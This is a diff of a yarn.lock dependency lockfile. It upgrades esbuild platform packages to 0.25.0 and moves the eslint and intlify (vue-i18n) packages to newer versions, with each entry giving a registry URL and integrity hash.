-  integrity sha512-EV6+ovTsEXCPAp58g2dD68LxoP/wK5pRvgy0J/HxPGB009omFPv3Yet0HiaqvrIrgPTBuC6wCH1LTOY91EO5hQ==
+"@esbuild/linux-s390x@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/linux-s390x/-/linux-s390x-0.25.0.tgz#8323afc0d6cb1b6dc6e9fd21efd9e1542c3640a4"
+  integrity sha512-XM2BFsEBz0Fw37V0zU4CXfcfuACMrppsMFKdYY2WuTS3yi8O1nFOhil/xhKTmE1nPmVyvQJjJivgDT+xh8pXJA==
 
 "@esbuild/linux-x64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/linux-x64/-/linux-x64-0.24.2.tgz#8140c9b40da634d380b0b29c837a0b4267aff38f"
   integrity sha512-8Qi4nQcCTbLnK9WoMjdC9NiTG6/E38RNICU6sUNqK0QFxCYgoARqVqxdFmWkdonVsvGqWhmm7MO0jyTqLqwj0Q==
 
+"@esbuild/linux-x64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/linux-x64/-/linux-x64-0.25.0.tgz#08fcf60cb400ed2382e9f8e0f5590bac8810469a"
+  integrity sha512-9yl91rHw/cpwMCNytUDxwj2XjFpxML0y9HAOH9pNVQDpQrBxHy01Dx+vaMu0N1CKa/RzBD2hB4u//nfc+Sd3Cw==
+
 "@esbuild/netbsd-arm64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/netbsd-arm64/-/netbsd-arm64-0.24.2.tgz#65f19161432bafb3981f5f20a7ff45abb2e708e6"
   integrity sha512-wuLK/VztRRpMt9zyHSazyCVdCXlpHkKm34WUyinD2lzK07FAHTq0KQvZZlXikNWkDGoT6x3TD51jKQ7gMVpopw==
 
-"@esbuild/netbsd-x64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz#bbe430f60d378ecb88decb219c602667387a6047"
-  integrity sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==
-
-"@esbuild/netbsd-x64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/netbsd-x64/-/netbsd-x64-0.23.1.tgz#44e743c9778d57a8ace4b72f3c6b839a3b74a653"
-  integrity sha512-aevEkCNu7KlPRpYLjwmdcuNz6bDFiE7Z8XC4CPqExjTvrHugh28QzUXVOZtiYghciKUacNktqxdpymplil1beA==
+"@esbuild/netbsd-arm64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.0.tgz#935c6c74e20f7224918fbe2e6c6fe865b6c6ea5b"
+  integrity sha512-RuG4PSMPFfrkH6UwCAqBzauBWTygTvb1nxWasEJooGSJ/NwRw7b2HOwyRTQIU97Hq37l3npXoZGYMy3b3xYvPw==
 
 "@esbuild/netbsd-x64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/netbsd-x64/-/netbsd-x64-0.24.2.tgz#7a3a97d77abfd11765a72f1c6f9b18f5396bcc40"
   integrity sha512-VefFaQUc4FMmJuAxmIHgUmfNiLXY438XrL4GDNV1Y1H/RW3qow68xTwjZKfj/+Plp9NANmzbH5R40Meudu8mmw==
 
-"@esbuild/openbsd-arm64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/openbsd-arm64/-/openbsd-arm64-0.23.1.tgz#05c5a1faf67b9881834758c69f3e51b7dee015d7"
-  integrity sha512-3x37szhLexNA4bXhLrCC/LImN/YtWis6WXr1VESlfVtVeoFJBRINPJ3f0a/6LV8zpikqoUg4hyXw0sFBt5Cr+Q==
+"@esbuild/netbsd-x64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/netbsd-x64/-/netbsd-x64-0.25.0.tgz#414677cef66d16c5a4d210751eb2881bb9c1b62b"
+  integrity sha512-jl+qisSB5jk01N5f7sPCsBENCOlPiS/xptD5yxOx2oqQfyourJwIKLRA2yqWdifj3owQZCL2sn6o08dBzZGQzA==
 
 "@esbuild/openbsd-arm64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/openbsd-arm64/-/openbsd-arm64-0.24.2.tgz#58b00238dd8f123bfff68d3acc53a6ee369af89f"
   integrity sha512-YQbi46SBct6iKnszhSvdluqDmxCJA+Pu280Av9WICNwQmMxV7nLRHZfjQzwbPs3jeWnuAhE9Jy0NrnJ12Oz+0A==
 
-"@esbuild/openbsd-x64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz#99d1cf2937279560d2104821f5ccce220cb2af70"
-  integrity sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==
-
-"@esbuild/openbsd-x64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/openbsd-x64/-/openbsd-x64-0.23.1.tgz#2e58ae511bacf67d19f9f2dcd9e8c5a93f00c273"
-  integrity sha512-aY2gMmKmPhxfU+0EdnN+XNtGbjfQgwZj43k8G3fyrDM/UdZww6xrWxmDkuz2eCZchqVeABjV5BpildOrUbBTqA==
+"@esbuild/openbsd-arm64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.0.tgz#8fd55a4d08d25cdc572844f13c88d678c84d13f7"
+  integrity sha512-21sUNbq2r84YE+SJDfaQRvdgznTD8Xc0oc3p3iW/a1EVWeNj/SdUCbm5U0itZPQYRuRTW20fPMWMpcrciH2EJw==
 
 "@esbuild/openbsd-x64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/openbsd-x64/-/openbsd-x64-0.24.2.tgz#0ac843fda0feb85a93e288842936c21a00a8a205"
   integrity sha512-+iDS6zpNM6EnJyWv0bMGLWSWeXGN/HTaF/LXHXHwejGsVi+ooqDfMCCTerNFxEkM3wYVcExkeGXNqshc9iMaOA==
 
-"@esbuild/sunos-x64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz#08741512c10d529566baba837b4fe052c8f3487b"
-  integrity sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==
-
-"@esbuild/sunos-x64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/sunos-x64/-/sunos-x64-0.23.1.tgz#adb022b959d18d3389ac70769cef5a03d3abd403"
-  integrity sha512-RBRT2gqEl0IKQABT4XTj78tpk9v7ehp+mazn2HbUeZl1YMdaGAQqhapjGTCe7uw7y0frDi4gS0uHzhvpFuI1sA==
+"@esbuild/openbsd-x64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/openbsd-x64/-/openbsd-x64-0.25.0.tgz#0c48ddb1494bbc2d6bcbaa1429a7f465fa1dedde"
+  integrity sha512-2gwwriSMPcCFRlPlKx3zLQhfN/2WjJ2NSlg5TKLQOJdV0mSxIcYNTMhk3H3ulL/cak+Xj0lY1Ym9ysDV1igceg==
 
 "@esbuild/sunos-x64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/sunos-x64/-/sunos-x64-0.24.2.tgz#8b7aa895e07828d36c422a4404cc2ecf27fb15c6"
   integrity sha512-hTdsW27jcktEvpwNHJU4ZwWFGkz2zRJUz8pvddmXPtXDzVKTTINmlmga3ZzwcuMpUvLw7JkLy9QLKyGpD2Yxig==
 
-"@esbuild/win32-arm64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz#675b7385398411240735016144ab2e99a60fc75d"
-  integrity sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==
-
-"@esbuild/win32-arm64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/win32-arm64/-/win32-arm64-0.23.1.tgz#84906f50c212b72ec360f48461d43202f4c8b9a2"
-  integrity sha512-4O+gPR5rEBe2FpKOVyiJ7wNDPA8nGzDuJ6gN4okSA1gEOYZ67N8JPk58tkWtdtPeLz7lBnY6I5L3jdsr3S+A6A==
+"@esbuild/sunos-x64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/sunos-x64/-/sunos-x64-0.25.0.tgz#86ff9075d77962b60dd26203d7352f92684c8c92"
+  integrity sha512-bxI7ThgLzPrPz484/S9jLlvUAHYMzy6I0XiU1ZMeAEOBcS0VePBFxh1JjTQt3Xiat5b6Oh4x7UC7IwKQKIJRIg==
 
 "@esbuild/win32-arm64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/win32-arm64/-/win32-arm64-0.24.2.tgz#c023afb647cabf0c3ed13f0eddfc4f1d61c66a85"
   integrity sha512-LihEQ2BBKVFLOC9ZItT9iFprsE9tqjDjnbulhHoFxYQtQfai7qfluVODIYxt1PgdoyQkz23+01rzwNwYfutxUQ==
 
-"@esbuild/win32-ia32@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz#1bfc3ce98aa6ca9a0969e4d2af72144c59c1193b"
-  integrity sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==
-
-"@esbuild/win32-ia32@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/win32-ia32/-/win32-ia32-0.23.1.tgz#5e3eacc515820ff729e90d0cb463183128e82fac"
-  integrity sha512-BcaL0Vn6QwCwre3Y717nVHZbAa4UBEigzFm6VdsVdT/MbZ38xoj1X9HPkZhbmaBGUD1W8vxAfffbDe8bA6AKnQ==
+"@esbuild/win32-arm64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/win32-arm64/-/win32-arm64-0.25.0.tgz#849c62327c3229467f5b5cd681bf50588442e96c"
+  integrity sha512-ZUAc2YK6JW89xTbXvftxdnYy3m4iHIkDtK3CLce8wg8M2L+YZhIvO1DKpxrd0Yr59AeNNkTiic9YLf6FTtXWMw==
 
 "@esbuild/win32-ia32@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/win32-ia32/-/win32-ia32-0.24.2.tgz#96c356132d2dda990098c8b8b951209c3cd743c2"
   integrity sha512-q+iGUwfs8tncmFC9pcnD5IvRHAzmbwQ3GPS5/ceCyHdjXubwQWI12MKWSNSMYLJMq23/IUCvJMS76PDqXe1fxA==
 
-"@esbuild/win32-x64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz#acad351d582d157bb145535db2a6ff53dd514b5c"
-  integrity sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==
-
-"@esbuild/win32-x64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/win32-x64/-/win32-x64-0.23.1.tgz#81fd50d11e2c32b2d6241470e3185b70c7b30699"
-  integrity sha512-BHpFFeslkWrXWyUPnbKm+xYYVYruCinGcftSBaa8zoF9hZO4BcSCFUvHVTtzpIY6YzUnYtuEhZ+C9iEXjxnasg==
+"@esbuild/win32-ia32@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/win32-ia32/-/win32-ia32-0.25.0.tgz#f62eb480cd7cca088cb65bb46a6db25b725dc079"
+  integrity sha512-eSNxISBu8XweVEWG31/JzjkIGbGIJN/TrRoiSVZwZ6pkC6VX4Im/WV2cz559/TXLcYbcrDN8JtKgd9DJVIo8GA==
 
 "@esbuild/win32-x64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/win32-x64/-/win32-x64-0.24.2.tgz#34aa0b52d0fbb1a654b596acfa595f0c7b77a77b"
   integrity sha512-7VTgWzgMGvup6aSqDPLiW5zHaxYJGTO4OokMjIlrCtf+VpEL+cXKtCvg723iguPYI5oaUNdS+/V7OU2gvXVWEg==
 
+"@esbuild/win32-x64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/win32-x64/-/win32-x64-0.25.0.tgz#c8e119a30a7c8d60b9d2e22d2073722dde3b710b"
+  integrity sha512-ZENoHJBxA20C2zFzh6AI4fT6RraMzjYw4xKWemRTRmRVtN9c5DcH9r/f2ihEkMjOW5eGgrwCslG/+Y/3bL+DHQ==
+
 "@eslint-community/eslint-utils@^4.2.0", "@eslint-community/eslint-utils@^4.4.0":
   version "4.4.1"
   resolved "https://registry.yarnpkg.com/@eslint-community/eslint-utils/-/eslint-utils-4.4.1.tgz#d1145bf2c20132d6400495d6df4bf59362fd9d56"
@@ -734,9 +623,9 @@
   integrity sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==
 
 "@eslint/compat@^1.1.1":
-  version "1.2.6"
-  resolved "https://registry.yarnpkg.com/@eslint/compat/-/compat-1.2.6.tgz#747ad2bde060582873cb486e03bfdf2945f0868d"
-  integrity sha512-k7HNCqApoDHM6XzT30zGoETj+D+uUcZUb+IVAJmar3u6bvHf7hhHJcWx09QHj4/a2qrKZMWU0E16tvkiAdv06Q==
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/@eslint/compat/-/compat-1.2.7.tgz#f1a890281631ad27530479420b743dd92626e819"
+  integrity sha512-xvv7hJE32yhegJ8xNAnb62ggiAwTYHBpUCWhRxEj/ksvgDJuSXfoDkBcRYaYNFiJ+jH0IE3K16hd+xXzhBgNbg==
 
 "@eslint/config-array@^0.18.0":
   version "0.18.0"
@@ -778,13 +667,6 @@
     picocolors "^1.1.1"
     ws "^8.18.0"
 
-"@eslint/core@^0.10.0":
-  version "0.10.0"
-  resolved "https://registry.yarnpkg.com/@eslint/core/-/core-0.10.0.tgz#23727063c21b335f752dbb3a16450f6f9cbc9091"
-  integrity sha512-gFHJ+xBOo4G3WRlR1e/3G8A6/KZAH6zcE/hkLRCZTi/B9avAG365QhFA8uOGzTMqgTghpn7/fSnscW++dpMSAw==
-  dependencies:
-    "@types/json-schema" "^7.0.15"
-
 "@eslint/core@^0.11.0":
   version "0.11.0"
   resolved "https://registry.yarnpkg.com/@eslint/core/-/core-0.11.0.tgz#7a9226e850922e42cbd2ba71361eacbe74352a12"
@@ -792,6 +674,13 @@
   dependencies:
     "@types/json-schema" "^7.0.15"
 
+"@eslint/core@^0.12.0":
+  version "0.12.0"
+  resolved "https://registry.yarnpkg.com/@eslint/core/-/core-0.12.0.tgz#5f960c3d57728be9f6c65bd84aa6aa613078798e"
+  integrity sha512-cmrR6pytBuSMTaBweKoGMwu3EiHiEC+DoyupPmlZ0HxBJBtIxwe+j/E4XPIKNx+Q74c8lXKPwYawBf5glsTkHg==
+  dependencies:
+    "@types/json-schema" "^7.0.15"
+
 "@eslint/eslintrc@^3.2.0":
   version "3.2.0"
   resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-3.2.0.tgz#57470ac4e2e283a6bf76044d63281196e370542c"
@@ -818,11 +707,11 @@
   integrity sha512-RBMg5FRL0I0gs51M/guSAj5/e14VQ4tpZnQNWwuDT66P14I43ItmPfIZRhO9fUVIPOAQXU47atlywZ/czoqFPA==
 
 "@eslint/plugin-kit@^0.2.5":
-  version "0.2.5"
-  resolved "https://registry.yarnpkg.com/@eslint/plugin-kit/-/plugin-kit-0.2.5.tgz#ee07372035539e7847ef834e3f5e7b79f09e3a81"
-  integrity sha512-lB05FkqEdUg2AA0xEbUz0SnkXT1LcCTa438W4IWTUh4hdOnVbQyOJ81OrDXsJk/LSiJHubgGEFoR5EHq1NsH1A==
+  version "0.2.7"
+  resolved "https://registry.yarnpkg.com/@eslint/plugin-kit/-/plugin-kit-0.2.7.tgz#9901d52c136fb8f375906a73dcc382646c3b6a27"
+  integrity sha512-JubJ5B2pJ4k4yGxaNLdbjrnk9d/iDz6/q8wOilpIowd6PJPgaxCuHBnBszq7Ce2TyMrywm5r4PnKm6V3iiZF+g==
   dependencies:
-    "@eslint/core" "^0.10.0"
+    "@eslint/core" "^0.12.0"
     levn "^0.4.1"
 
 "@fastify/accept-negotiator@^1.1.0":
@@ -859,14 +748,14 @@
   integrity sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA==
 
 "@humanwhocodes/retry@^0.4.1":
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/@humanwhocodes/retry/-/retry-0.4.1.tgz#9a96ce501bc62df46c4031fbd970e3cc6b10f07b"
-  integrity sha512-c7hNEllBlenFTHBky65mhq8WD2kbN9Q6gk0bTk8lSBvc554jpXSkST1iePudpt7+A/AQvuHs9EMqjHDXMY1lrA==
+  version "0.4.2"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/retry/-/retry-0.4.2.tgz#1860473de7dfa1546767448f333db80cb0ff2161"
+  integrity sha512-xeO57FpIu4p1Ri3Jq/EXq4ClRm86dVF2z/+kvFnyqVYRavTZmaFaUBbWCOuuTh0o/g7DSsk6kc2vrS4Vl5oPOQ==
 
 "@iconify-json/carbon@^1.2.5":
-  version "1.2.6"
-  resolved "https://registry.yarnpkg.com/@iconify-json/carbon/-/carbon-1.2.6.tgz#401488c0a32ebfa7a8278eddc58de06a5cf5ef5c"
-  integrity sha512-Oat/TUfu1Cpg/inoi6ZIVvNjWoKQJFugpDB6LqpahENf4f2pZKMOUR2B9MCQlje77iRRI5nWQzvUO2kJlXFStw==
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/@iconify-json/carbon/-/carbon-1.2.7.tgz#da095eb61af45e50d22c6a5e494e01f04af49f4d"
+  integrity sha512-nqEjicnNdb3CnY21MsTr9DfU8JBkP9C8hup1bCe4zvpLKjcU9YRmYChUbqZYBP4P+BL5NdrprTSN+B7qJg3H3Q==
   dependencies:
     "@iconify/types" "*"
 
@@ -910,68 +799,88 @@
     local-pkg "^1.0.0"
     mlly "^1.7.4"
 
-"@intlify/bundle-utils@^7.4.0":
-  version "7.5.1"
-  resolved "https://registry.yarnpkg.com/@intlify/bundle-utils/-/bundle-utils-7.5.1.tgz#8f70f44929dc4e43c1ddb8fddb9e590277145914"
-  integrity sha512-UovJl10oBIlmYEcWw+VIHdKY5Uv5sdPG0b/b6bOYxGLln3UwB75+2dlc0F3Fsa0RhoznQ5Rp589/BZpABpE4Xw==
+"@intlify/bundle-utils@^10.0.0":
+  version "10.0.0"
+  resolved "https://registry.yarnpkg.com/@intlify/bundle-utils/-/bundle-utils-10.0.0.tgz#9874a1d753072f0afc5560b888b424fa80fb7db1"
+  integrity sha512-BR5yLOkF2dzrARTbAg7RGAIPcx9Aark7p1K/0O285F7rfzso9j2dsa+S4dA67clZ0rToZ10NSSTfbyUptVu7Bg==
   dependencies:
-    "@intlify/message-compiler" "^9.4.0"
-    "@intlify/shared" "^9.4.0"
+    "@intlify/message-compiler" next
+    "@intlify/shared" next
     acorn "^8.8.2"
     escodegen "^2.1.0"
     estree-walker "^2.0.2"
     jsonc-eslint-parser "^2.3.0"
-    magic-string "^0.30.0"
     mlly "^1.2.0"
     source-map-js "^1.0.1"
     yaml-eslint-parser "^1.2.2"
 
-"@intlify/core-base@9.14.2":
-  version "9.14.2"
-  resolved "https://registry.yarnpkg.com/@intlify/core-base/-/core-base-9.14.2.tgz#2c074506ea72425e937f911c95c0d845b43f7fdf"
-  integrity sha512-DZyQ4Hk22sC81MP4qiCDuU+LdaYW91A6lCjq8AWPvY3+mGMzhGDfOCzvyR6YBQxtlPjFqMoFk9ylnNYRAQwXtQ==
+"@intlify/core-base@10.0.5":
+  version "10.0.5"
+  resolved "https://registry.yarnpkg.com/@intlify/core-base/-/core-base-10.0.5.tgz#c4d992381f8c3a50c79faf67be3404b399c3be28"
+  integrity sha512-F3snDTQs0MdvnnyzTDTVkOYVAZOE/MHwRvF7mn7Jw1yuih4NrFYLNYIymGlLmq4HU2iIdzYsZ7f47bOcwY73XQ==
   dependencies:
-    "@intlify/message-compiler" "9.14.2"
-    "@intlify/shared" "9.14.2"
+    "@intlify/message-compiler" "10.0.5"
+    "@intlify/shared" "10.0.5"
 
-"@intlify/core@^9.8.0":
-  version "9.14.2"
-  resolved "https://registry.yarnpkg.com/@intlify/core/-/core-9.14.2.tgz#01b2171a1f5242937bf049bfa486487f44c7ccf6"
-  integrity sha512-/YsYOtRdKn2RbIz9FjYdb4ZntcB7hJmlfHjMRrRXOH2rJE9T5kdYCTS+LS75xQkRCeHFdAmjGMADuoy4HYpHfA==
+"@intlify/core@^10.0.3":
+  version "10.0.5"
+  resolved "https://registry.yarnpkg.com/@intlify/core/-/core-10.0.5.tgz#cb2df3071a17201c908390fe19c6094d93de4648"
+  integrity sha512-wvjsNSpjulznpPs24ZmwvmcomUP6qvBvRt5YAplx5zaCqM7n5KbiZk4mlPl2GjPVYUIOLlyZb0CUFQ5UJB/DMA==
   dependencies:
-    "@intlify/core-base" "9.14.2"
-    "@intlify/shared" "9.14.2"
+    "@intlify/core-base" "10.0.5"
+    "@intlify/shared" "10.0.5"
 
-"@intlify/h3@^0.5.0":
-  version "0.5.0"
-  resolved "https://registry.yarnpkg.com/@intlify/h3/-/h3-0.5.0.tgz#41aa9aed393efd947f867a4a314e24c7f28611b6"
-  integrity sha512-cgfrtD3qu3BPJ47gfZ35J2LJpI64Riic0K8NGgid5ilyPXRQTNY7mXlT/B+HZYQg1hmBxKa5G5HJXyAZ4R2H5A==
+"@intlify/h3@^0.6.1":
+  version "0.6.1"
+  resolved "https://registry.yarnpkg.com/@intlify/h3/-/h3-0.6.1.tgz#ded9e5f71864f63e4ee50923dff53389dea7ff41"
+  integrity sha512-hFMcqWXCoFNZkraa+JF7wzByGdE0vGi8rUs7CTFrE4hE3X2u9QcelH8VRO8mPgJDH+TgatzvrVp6iZsWVluk2A==
   dependencies:
-    "@intlify/core" "^9.8.0"
-    "@intlify/utils" "^0.12.0"
+    "@intlify/core" "^10.0.3"
+    "@intlify/utils" "^0.13.0"
 
-"@intlify/message-compiler@9.14.2", "@intlify/message-compiler@^9.4.0":
-  version "9.14.2"
-  resolved "https://registry.yarnpkg.com/@intlify/message-compiler/-/message-compiler-9.14.2.tgz#7217842ea1875d80bbf0f708e9b3ef5ad7c57a03"
-  integrity sha512-YsKKuV4Qv4wrLNsvgWbTf0E40uRv+Qiw1BeLQ0LAxifQuhiMe+hfTIzOMdWj/ZpnTDj4RSZtkXjJM7JDiiB5LQ==
+"@intlify/message-compiler@10.0.5":
+  version "10.0.5"
+  resolved "https://registry.yarnpkg.com/@intlify/message-compiler/-/message-compiler-10.0.5.tgz#4eeace9f4560020d5e5d77f32bed7755e71d8efd"
+  integrity sha512-6GT1BJ852gZ0gItNZN2krX5QAmea+cmdjMvsWohArAZ3GmHdnNANEcF9JjPXAMRtQ6Ux5E269ymamg/+WU6tQA==
   dependencies:
-    "@intlify/shared" "9.14.2"
+    "@intlify/shared" "10.0.5"
     source-map-js "^1.0.2"
 
-"@intlify/shared@9.14.2", "@intlify/shared@^9.14.1", "@intlify/shared@^9.4.0":
-  version "9.14.2"
-  resolved "https://registry.yarnpkg.com/@intlify/shared/-/shared-9.14.2.tgz#f7dceea32db44c9253e3f965745a42a5cb3a1883"
-  integrity sha512-uRAHAxYPeF+G5DBIboKpPgC/Waecd4Jz8ihtkpJQD5ycb5PwXp0k/+hBGl5dAjwF7w+l74kz/PKA8r8OK//RUw==
+"@intlify/message-compiler@next":
+  version "11.0.0-rc.1"
+  resolved "https://registry.yarnpkg.com/@intlify/message-compiler/-/message-compiler-11.0.0-rc.1.tgz#d807b5de491970527872959749ebebae7f000f6f"
+  integrity sha512-TGw2uBfuTFTegZf/BHtUQBEKxl7Q/dVGLoqRIdw8lFsp9g/53sYn5iD+0HxIzdYjbWL6BTJMXCPUHp9PxDTRPw==
+  dependencies:
+    "@intlify/shared" "11.0.0-rc.1"
+    source-map-js "^1.0.2"
 
-"@intlify/unplugin-vue-i18n@^3.0.1":
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/@intlify/unplugin-vue-i18n/-/unplugin-vue-i18n-3.0.1.tgz#8bed58d5cbaadda056c2ff88acf99300db516639"
-  integrity sha512-q1zJhA/WpoLBzAAuKA5/AEp0e+bMOM10ll/HxT4g1VAw/9JhC4TTobP9KobKH90JMZ4U2daLFlYQfKNd29lpqw==
+"@intlify/shared@10.0.5", "@intlify/shared@^10.0.0", "@intlify/shared@^10.0.5":
+  version "10.0.5"
+  resolved "https://registry.yarnpkg.com/@intlify/shared/-/shared-10.0.5.tgz#1b46ca8b541f03508fe28da8f34e4bb85506d6bc"
+  integrity sha512-bmsP4L2HqBF6i6uaMqJMcFBONVjKt+siGluRq4Ca4C0q7W2eMaVZr8iCgF9dKbcVXutftkC7D6z2SaSMmLiDyA==
+
+"@intlify/shared@11.0.0-rc.1", "@intlify/shared@next":
+  version "11.0.0-rc.1"
+  resolved "https://registry.yarnpkg.com/@intlify/shared/-/shared-11.0.0-rc.1.tgz#52a67aa12fccd9303027b48ebf017b75b7350283"
+  integrity sha512-8tR1xe7ZEbkabTuE/tNhzpolygUn9OaYp9yuYAF4MgDNZg06C3Qny80bes2/e9/Wm3aVkPUlCw6WgU7mQd0yEg==
+
+"@intlify/shared@latest":
+  version "11.1.1"
+  resolved "https://registry.yarnpkg.com/@intlify/shared/-/shared-11.1.1.tgz#7cd50bf4dd5162a59d2e27aa1a03b4b68275dfeb"
+  integrity sha512-2kGiWoXaeV8HZlhU/Nml12oTbhv7j2ufsJ5vQaa0VTjzUmZVdd/nmKFRAOJ/FtjO90Qba5AnZDwsrY7ZND5udA==
+
+"@intlify/unplugin-vue-i18n@^6.0.3":
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/@intlify/unplugin-vue-i18n/-/unplugin-vue-i18n-6.0.3.tgz#576a5698f1cb5766760cdc08edbad90deb85268b"
+  integrity sha512-9ZDjBlhUHtgjRl23TVcgfJttgu8cNepwVhWvOv3mUMRDAhjW0pur1mWKEUKr1I8PNwE4Gvv2IQ1xcl4RL0nG0g==
   dependencies:
-    "@intlify/bundle-utils" "^7.4.0"
-    "@intlify/shared" "^9.4.0"
+    "@eslint-community/eslint-utils" "^4.4.0"
+    "@intlify/bundle-utils" "^10.0.0"
+    "@intlify/shared" latest
+    "@intlify/vue-i18n-extensions" "^8.0.0"
     "@rollup/pluginutils" "^5.1.0"
-    "@vue/compiler-sfc" "^3.2.47"
+    "@typescript-eslint/scope-manager" "^8.13.0"
+    "@typescript-eslint/typescript-estree" "^8.13.0"
     debug "^4.3.3"
     fast-glob "^3.2.12"
     js-yaml "^4.1.0"
@@ -980,11 +889,22 @@
     picocolors "^1.0.0"
     source-map-js "^1.0.2"
     unplugin "^1.1.0"
+    vue "^3.4"
 
-"@intlify/utils@^0.12.0":
-  version "0.12.0"
-  resolved "https://registry.yarnpkg.com/@intlify/utils/-/utils-0.12.0.tgz#74ef0723048151687447342e90fbc3b26a7de3ff"
-  integrity sha512-yCBNcuZQ49iInqmWC2xfW0rgEQyNtCM8C8KcWKTXxyscgUE1+48gjLgZZqP75MjhlApxwph7ZMWLqyABkSgxQA==
+"@intlify/utils@^0.13.0":
+  version "0.13.0"
+  resolved "https://registry.yarnpkg.com/@intlify/utils/-/utils-0.13.0.tgz#bea7014796b633a9f4d312833642d33b38755cba"
+  integrity sha512-8i3uRdAxCGzuHwfmHcVjeLQBtysQB2aXl/ojoagDut5/gY5lvWCQ2+cnl2TiqE/fXj/D8EhWG/SLKA7qz4a3QA==
+
+"@intlify/vue-i18n-extensions@^8.0.0":
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/@intlify/vue-i18n-extensions/-/vue-i18n-extensions-8.0.0.tgz#84adc3f40829ee144f056b774a77d838ce3f5034"
+  integrity sha512-w0+70CvTmuqbskWfzeYhn0IXxllr6mU+IeM2MU0M+j9OW64jkrvqY+pYFWrUnIIC9bEdij3NICruicwd5EgUuQ==
+  dependencies:
+    "@babel/parser" "^7.24.6"
+    "@intlify/shared" "^10.0.0"
+    "@vue/compiler-dom" "^3.2.45"
+    vue-i18n "^10.0.0"
 
 "@ioredis/commands@^1.1.1":
   version "1.2.0"
@@ -1243,16 +1163,15 @@
     semver "^7.3.5"
 
 "@npmcli/git@^6.0.0", "@npmcli/git@^6.0.1":
-  version "6.0.1"
-  resolved "https://registry.yarnpkg.com/@npmcli/git/-/git-6.0.1.tgz#9ee894a35c2082d0b41883e267ff140aece457d5"
